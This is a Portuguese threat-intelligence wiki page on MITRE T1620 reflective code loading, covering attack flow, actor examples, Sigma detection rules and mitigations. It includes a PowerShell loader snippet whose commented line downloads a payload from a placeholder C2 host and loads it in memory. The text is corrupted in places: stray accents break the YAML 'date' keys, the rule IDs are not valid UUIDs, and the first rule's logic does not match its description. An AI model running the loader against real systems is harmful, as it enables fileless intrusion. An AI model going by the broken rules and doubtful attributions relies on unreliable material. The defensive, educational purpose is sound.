# T1620 - Reflective Code Loading ## Descrição **Reflective Code Loading** é uma técnica de evasão de defesa na qual adversários carregam e executam código malicioso diretamente na memória de um processo em execução, sem jámais escrever o payload em disco. Ao contrário da execução convencional - que requer que um arquivo exista no sistema de arquivos e sejá mapeado pelo carregador do sistema operacional - o carregamento refletivo aloca memória dentro de um processo existente e copia o payload diretamente para essa região, resolvendo importações e realocações manualmente. A distinção fundamental em relação à [[t1055-process-injection|T1055 - Process Injection]] é que o carregamento refletivo ocorre **dentro do próprio processo** do adversário ou de um processo legítimo já controlado, em vez de injetar código em um processo separado. O resultado é que o payload malicioso existe apenas como uma região de memória anônima - sem arquivo associado, sem entrada no módulo list do processo, sem hash verificável. ### Variantes principais **Reflective DLL Injection (Windows):** A técnica original, popularizada pelo projeto open-source de Stephen Fewer. Uma DLL contém uma função exportada especial (`ReflectiveLoader`) que bootstraps o carregamento da DLL na memória sem usar `LoadLibrary`. O [[s0154-cobalt-strike|Cobalt Strike]] e seu beacon implementam esta técnica extensivamente, sendo a base de seu método de staging de payloads. **Assembly.Load() (PowerShell / .NET):** O método `Assembly.Load()` do .NET Framework pode carregar um assembly compilado diretamente de um array de bytes na memória, sem criar arquivo em disco. [[t1059-001-powershell|PowerShell]] abusa desta funcionalidade para carregar módulos .NET maliciosos como [[s0194-powersploit|PowerSploit]] e [[s0692-silenttrinity|SILENTTRINITY]]. **Shellcode Execution em Memória:** Shellcode (position-independent code - PIC) é alocado em uma região de memória executável via `VirtualAlloc` / `mmap` e executado via ponteiro de função ou thread. É a forma mais primitiva e mais usada por malware commodity e APTs para carregamento de segundo estágio. **Carregamento Refletivo em Linux/macOS:** Equivalente ao Reflective DLL em sistemas Unix. Bibliotecas compartilhadas (.so / .dylib) podem ser carregadas na memória via `dlopen()` a partir de um buffer em memória (usando `memfd_creaté` no Linux para criar um arquivo anônimo), ou shellcode executado via `mmap` + `mprotect`. > **Tática:** [[_defense-evasion|Defense Evasion]] > **Técnicas relacionadas:** [[t1055-process-injection|T1055 - Process Injection]], [[t1129-shared-modules|T1129 - Shared Modules]], [[t1027-obfuscated-files-or-information|T1027 - Obfuscated Files]] --- ## Como Funciona ### Fluxo Técnico - Reflective DLL (Windows) O carregamento refletivo de uma DLL segue estas etapas técnicas: 1. **Staging do payload:** A DLL maliciosa é recebida via rede (HTTP/S, SMB, named pipe) ou extraída de um recurso comprimido/cifrado em memória, sem tocar o disco. 2. **Alocação de memória:** O loader aloca uma região de memória com permissão `RWX` (leitura, escrita, execução) via `VirtualAlloc` com flag `MEM_COMMIT | MEM_RESERVE`. 3. **Cópia do payload:** O conteúdo da DLL é copiado para a região alocada. 4. **Bootstrap refletivo:** A função `ReflectiveLoader` dentro da DLL é chamada diretamente. Ela: - Localiza o bloco de imports da DLL - Resolve as dependências usando a PEB (Process Environment Block) sem chamar `LoadLibrary` - Aplica relocações de base - Chama `DllMain` com `DLL_PROCESS_ATTACH` 5. **Execução:** A DLL agora está funcional em memória, sem nenhum rastro no sistema de arquivos ou na lista de módulos do processo (invisível para `EnumProcessModules`). ### Fluxo Técnico - Assembly.Load() em PowerShell ```powershell # Exemplo de padrão documentado (já público via PowerSploit/Empire) $bytes = [System.IO.File]::ReadAllBytes("\\UNC\share\module.dll") # Ou via download direto para bytes: # $bytes = (New-Object Net.WebClient).DownloadData('http://c2/payload') [System.Reflection.Assembly]::Load($bytes) ``` O assembly carregado não aparece como arquivo no disco. Ferramentas que enumeram assemblies carregados via `AppDomain.GetAssemblies()` podem detectá-lo, mas isso requer instrumentação específica. ### Técnicas Complementares - [[t1027-005-indicator-removal-from-tools|T1027.005 - Indicator Removal from Tools]]: stripped de symbols, ofuscação do payload antes do carregamento - [[Decode Files]]: descriptografia do payload em memória antes do carregamento refletivo - [[t1564-014-extended-attributes|T1564.014 - Extended Attributes]]: xattrs como vetor de armazenamento do payload a ser carregado refletivamente --- ## Attack Flow ```mermaid graph TB A["🎯 Comprometimento Inicial<br/>Phishing, exploit, acesso válido<br/>T1566 / T1190 / T1078"] --> B B["📡 Staging do Payload<br/>Payload recebido via C2 (HTTP/S, DNS)<br/>ou embutido no stager<br/>NUNCA toca o disco"] --> C C["🔧 Alocação de Memória<br/>VirtualAlloc (Windows) / mmap (Linux)<br/>Região RWX criada no processo alvo"] --> D D{"Tipo de<br/>carregamento refletivo"} D -->|"Reflective DLL"| E1["🔁 ReflectiveLoader<br/>DLL bootstrap via PEB<br/>Resolve imports sem LoadLibrary<br/>DllMain chamado manualmente"] D -->|"Assembly.Load()"| E2["⚙️ .NET Assembly<br/>Assembly.Load(bytes[])<br/>Carregado no AppDomain<br/>PowerShell / C#"] D -->|"Shellcode"| E3["💻 PIC Shellcode<br/>Executado via thread/callback<br/>Position-Independent Code<br/>sem estrutura PE"] E1 --> F E2 --> F E3 --> F F["🕵️ Payload Ativo em Memória<br/>Beacon C2, RAT, módulo de coleta<br/>Invisível para AV baseado em arquivo<br/>Sem entrada na module list"] --> G G["🌐 Comúnicação C2<br/>Beaconing periódico<br/>Recepção de comandos<br/>Exfiltração de dados"] G --> H["↔️ Movimentação Lateral<br/>Pass-the-hash, PTT<br/>Novo carregamento refletivo<br/>no host alvo"] style A fill:#c0392b,color:#fff style B fill:#e67e22,color:#fff style C fill:#d35400,color:#fff style F fill:#8e44ad,color:#fff style G fill:#2980b9,color:#fff style H fill:#2c3e50,color:#fff ``` --- ## Exemplos de Uso ### FIN7 - Carregamento Refletivo via BADHATCH O grupo [[g0046-fin7|FIN7]] (também conhecido como Carbanak/Carbon Spider) utiliza ativamente o carregamento refletivo como componente central de seu arsenal. O malware [[badhatch|BADHATCH]] carrega módulos adicionais refletivamente em memória após o comprometimento inicial, incluindo módulos para captura de tela, movimentação lateral e exfiltração de dados de PDV (ponto de venda). O FIN7 tem histórico de ataques ao setor [[financial|financeiro]] e [[retail|varejo]] no Brasil, com foco especial em sistemas de pagamento. ### Lazarus Group - Campanha contra Exchange e Cripto O [[g0032-lazarus-group|Lazarus Group]] (APT38, Hidden Cobra) - atribuído ao governo da Coreia do Norte - usa carregamento refletivo extensivamente em suas campanhas de roubo financeiro. O malware [[s0013-plugx|PlugX]] e variantes customizadas usadas pelo grupo carregam módulos de segundo estágio refletivamente após o beacon inicial. Em campanhas documentadas contra exchanges de criptomoedas, que incluem alvos na América Latina, o grupo usou shellcode refletivo para manter persistência furtiva em servidores Windows comprometidos. ### Kimsuky - Espionagem via PowerShell Refletivo O grupo [[g0094-kimsuky|Kimsuky]] (APT43), ligado ao governo norte-coreano, utiliza `Assembly.Load()` em scripts [[t1059-001-powershell|PowerShell]] para carregar módulos de espionagem em memória. Em campanhas documentadas contra think tanks e ONGs, o grupo distribuiu documentos maliciosos que, ao serem abertos, executavam um stager PowerShell capaz de baixar e carregar refletivamente ferramentas de coleta de credenciais e acesso remoto. ### Gamaredon - Carregamento via .NET em Contexto Geopolítico O [[g0047-gamaredon|Gamaredon Group]] (Primitive Bear), atribuído ao FSB russo, usa carregamento refletivo de assemblies .NET como parte de seu framework de acesso remoto. O grupo tem expandido operações além do Leste Europeu e foi documentado usando técnicas de carregamento em memória para evadir defesas em ambientes governamentais. ### Cobalt Strike - Reflective DLL como Padrão da Indústria O [[s0154-cobalt-strike|Cobalt Strike]] é a ferramenta mais amplamente usada que implementa carregamento refletivo, tanto por red teams legítimos quanto por grupos criminosos que piratearam o software. O beacon do Cobalt Strike carrega módulos (BOFs - Beacon Object Files) refletivamente na memória do processo beacon, sem necessidade de escrever arquivos em disco. Variantes crackeadas de Cobalt Strike são rotineiramente identificadas em incidentes de ransomware no Brasil. --- ## Detecção ### Estrategia Geral A detecção de carregamento refletivo requer monitoramento comportamental na camada de memória e sistema operacional. Indicadores-chave incluem: - **Alocações de memória RWX** (`MEM_EXECUTE_READWRITE`) - regiões que combinam as três permissões são atípicas e suspeitas - **PE headers em memória sem arquivo em disco correspondente** - ferramentas como PE-sieve e Moneta detectam módulos "fantasma" - **`Assembly.Load()` com argumento de array de bytes** - instrumentação CLR via ETW - **Chamadas de API suspeitas:** `VirtualAlloc` → `WriteProcessMemory` → `CreateThread` no mesmo processo - **AMSI bypass:** muitos loaders refletivos tentam desabilitar AMSI antes de executar o payload ### Regra Sigma - Windows (Reflective DLL via RWX Memory) ```yaml title: Suspicious RWX Memory Allocation Followed by Thread Creation id: c9e5f443-0a36-6d4e-1f23-h7e0g9c45de3 status: experimental description: Detecta alocação de memória com permissões RWX seguida de criação de thread no mesmo processo - padrão de carregamento refletivo (T1620) references: - https://attack.mitre.org/techniques/T1620/ - https://github.com/stephenfewer/ReflectiveDLLInjection author: RunkIntel daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1620 - attack.t1055 logsource: category: creaté_remote_thread product: windows detection: selection: SourceImage|endswith: - '\powershell.exe' - '\wscript.exe' - '\cscript.exe' - '\rundll32.exe' - '\regsvr32.exe' - '\mshta.exe' condition: selection falsepositives: - Ferramentas legítimas de debugging (WinDbg, x64dbg) - Alguns instaladores de software legítimos level: high ``` ### Regra Sigma - PowerShell Assembly.Load() ```yaml title: PowerShell Reflective Assembly Load from Memory id: d0f6g554-1b47-7e5f-2g34-i8f1h0d56ef4 status: stable description: Detecta uso de Assembly.Load() com bytes em PowerShell - técnica central de carregamento refletivo (T1620) references: - https://attack.mitre.org/techniques/T1620/ author: RunkIntel daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1620 - attack.t1059.001 logsource: product: windows category: ps_script definition: Script block logging must be enabled detection: selection: ScriptBlockText|contains: - 'Assembly.Load(' - '[System.Reflection.Assembly]::Load' - 'Reflection.Assembly]::Load' filter_legitimate: ScriptBlockText|contains: - 'LoadFrom(' - 'LoadFile(' condition: selection and not filter_legitimate falsepositives: - PowerShell modules legítimos que usam Assembly.Load (raros) - Scripts de DevOps avançados level: high ``` --- ## Mitigação | ID | Mitigação | Descrição | Prioridade | |----|-----------|-----------|------------| | - | EDR com Memory Scanning | Usar EDR com capacidade de varredura de memória em tempo real (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint). Detectam PE headers e shellcode em regiões de memória RWX. | Crítica | | - | PowerShell Script Block Logging | Habilitar `ScriptBlockLogging` via GPO para registrar todo conteúdo de script PowerShell, incluindo chamadas a `Assembly.Load()`. Enviar para SIEM. | Alta | | - | AMSI (Antimalware Scan Interface) | Garantir que AMSI está habilitado e integrado ao EDR. Muitos loaders refletivos tentam contornar o AMSI - detectar essas tentativas de bypass. | Alta | | - | Constrained Language Mode (PowerShell) | Ativar CLM (Constrained Language Mode) em endpoints que não requerem scripting avançado. Bloqueia `[System.Reflection.Assembly]::Load` em contextos não-admin. | Média | | - | Attack Surface Reduction (ASR) | Habilitar regras ASR no Microsoft Defender: "Block process creations originating from PSExec and WMI commands" e "Block executable content from email client and webmail". | Alta | | - | Threat Intelligence de C2 | Manter feed atualizado de IOCs de C2 (Cobalt Strike, Brute Ratel) para bloquear beacons refletivos na saída de rede antes da execução completa. | Média | --- ## Contexto Brasil/LATAM ### Cobalt Strike em Incidentes Brasileiros O Cobalt Strike - que tem o carregamento refletivo como mecanismo central de seu beacon - é a ferramenta mais frequentemente identificada em incidentes de alto impacto no Brasil. Grupos de ransomware como [[lockbit|LockBit]], [[blackcat|ALPHV]] e [[black-basta|Black Basta]] usam beacons Cobalt Strike (frequentemente cópias crackeadas) como ferramenta de acesso inicial e movimentação lateral antes de implantar o ransomware. O [[sources|CERT.br]] documenta o aumento consistente desses incidentes. ### FIN7 e o Setor Financeiro Brasileiro O [[g0046-fin7|FIN7]] tem histórico documentado de ataques a instituições financeiras brasileiras e redes de varejo com sistemas de PDV. O uso de BADHATCH com carregamento refletivo permite ao grupo manter persistência em redes financeiras por semanas ou meses sem detecção por soluções de segurança tradicionais. O setor [[financial|financeiro]] brasileiro, maior da América Latina, é um alvo de alto valor para o grupo. ### Espionagem APT na América Latina Grupos de espionagem patrocinados por estados - incluindo [[g0032-lazarus-group|Lazarus Group]] e [[g0094-kimsuky|Kimsuky]] com interesses na região - usam carregamento refletivo para manter implantes de longa duração em redes governamentais e de infraestrutura crítica. Países como Brasil, México, Colômbia e Chile são alvos frequentes de campanhas de espionagem que utilizam técnicas fileless avançadas para evadir defesas. ### Maturidade de Detecção na Região Um desafio específico do contexto LATAM é a baixa adoção de EDR com capacidade de análise de memória fora das grandes corporações. Muitas organizações de médio porte no Brasil ainda dependem de antivírus tradicionais baseados em assinatura de arquivo, que são completamente cegos ao carregamento refletivo - uma vantagem operacional significativa para adversários que visam esses ambientes. --- ## Referências - [MITRE ATT&CK - T1620](https://attack.mitre.org/techniques/T1620/) - [Stephen Fewer - Reflective DLL Injection (GitHub)](https://github.com/stephenfewer/ReflectiveDLLInjection) - [CrowdStrike - In-Memory Threats (2024)](https://www.crowdstrike.com/blog/) - [Elastic - Detecting Reflective Code Loading](https://www.elastic.co/blog/) - [Microsoft - Cobalt Strike Reflective Loading Analysis](https://www.microsoft.com/security/blog/) - [CERT.br - Relatório Anual de Incidentes 2024](https://www.cert.br/stats/) - [Mandiant - FIN7 TTPs Analysis](https://www.mandiant.com/resources/blog/) **Threat actors:** [[g0046-fin7|FIN7]], [[g0032-lazarus-group|Lazarus Group]], [[g0094-kimsuky|Kimsuky]], [[g0047-gamaredon|Gamaredon Group]] **Malware associado:** [[badhatch|BADHATCH]], [[whispergaté|WhisperGaté]], [[s0022-uroburos|Uroburos]], [[s0692-silenttrinity|SILENTTRINITY]], [[s0194-powersploit|PowerSploit]], [[s0447-lokibot|Lokibot]], [[gelsemium|Gelsemium]], [[s0013-plugx|PlugX]], [[s1059-metamain|metaMain]], [[cuba|Cuba]], [[s0154-cobalt-strike|Cobalt Strike]] **Técnicas relacionadas:** [[t1055-process-injection|T1055]], [[t1129-shared-modules|T1129]], [[t1027-obfuscated-files-or-information|T1027]], [[t1059-001-powershell|T1059.001]], [[t1564-014-extended-attributes|T1564.014]] --- *Fonte: [MITRE ATT&CK - T1620](https://attack.mitre.org/techniques/T1620)*